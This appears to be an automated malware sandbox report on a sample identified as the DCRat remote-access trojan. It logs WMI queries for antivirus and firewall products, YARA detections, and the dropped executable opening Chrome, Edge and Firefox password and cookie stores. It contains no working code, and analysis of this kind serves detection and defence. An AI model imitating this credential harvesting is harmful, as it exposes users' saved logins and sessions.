                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: TC:/Users/All Users\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003831000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003831000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vC:/Users/All Users\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

                          Stealing of Sensitive Information

                          barindex
                          Yara detected DCRat
                          Source: Yara matchFile source: 2.2.RegAsm.exe.436060.0.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 2.2.RegAsm.exe.436060.0.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 5.0.qyKnQ3XZNg.exe.3b0000.0.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 2.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 2.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 0000000B.00000002.4163028473.0000000005C7C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000005.00000000.1733919550.00000000003B2000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000000B.00000002.4163028473.0000000005FBB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000000B.00000002.4163028473.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000002.00000002.1734631680.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3624, type: MEMORYSTR
                          Source: Yara matchFile source: Process Memory Space: qyKnQ3XZNg.exe PID: 3320, type: MEMORYSTR
                          Source: Yara matchFile source: Process Memory Space: buTEJZlOSIruGihHI.exe PID: 7136, type: MEMORYSTR
                          Source: Yara matchFile source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe, type: DROPPED
                          Source: Yara matchFile source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe, type: DROPPED
                          Tries to harvest and steal browser information (history, passwords, etc)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shmJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-walJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login DataJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqliteJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqliteJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login Data-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login DataJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For AccountJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shmJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
